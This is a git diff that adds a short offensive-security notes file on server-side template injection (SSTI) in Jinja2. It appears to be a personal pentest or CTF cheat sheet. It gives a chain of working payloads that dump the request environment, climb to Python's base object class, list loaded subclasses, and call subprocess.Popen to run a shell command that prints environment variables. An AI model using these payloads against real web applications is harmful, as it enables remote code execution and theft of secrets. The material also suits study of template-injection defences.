first commit

Necronomicon/Attacks/Web Exploitation/SSTI.md

@@ -0,0 +1,14 @@
+- Flowchart to fingerprint underlying templating engine through successive payloads
+![[Pasted image 20230906000448.png|center]]
+
+- Jinja2
+	- Get information about Python environment
+		- `{{request.environ}}`
+	- Regress to base `object` class
+		- `{{request.__class__.__base__.__base__}}`
+	- List all loaded top classes
+		1. `{{request.__class__.__base__.__base__.__subclasses__()}}`
+		2. Note interesting top classes, such as `os.system` and `subprocess.Popen`
+		3. Determine their count for the following
+	- Call `subprocess.Popen` to execute commands ("env" in this case)
+		- `{{request.__class__.__base__.__base__.__subclasses__()[282]("env",shell=True,stdout=-1).communicate()[0]}}`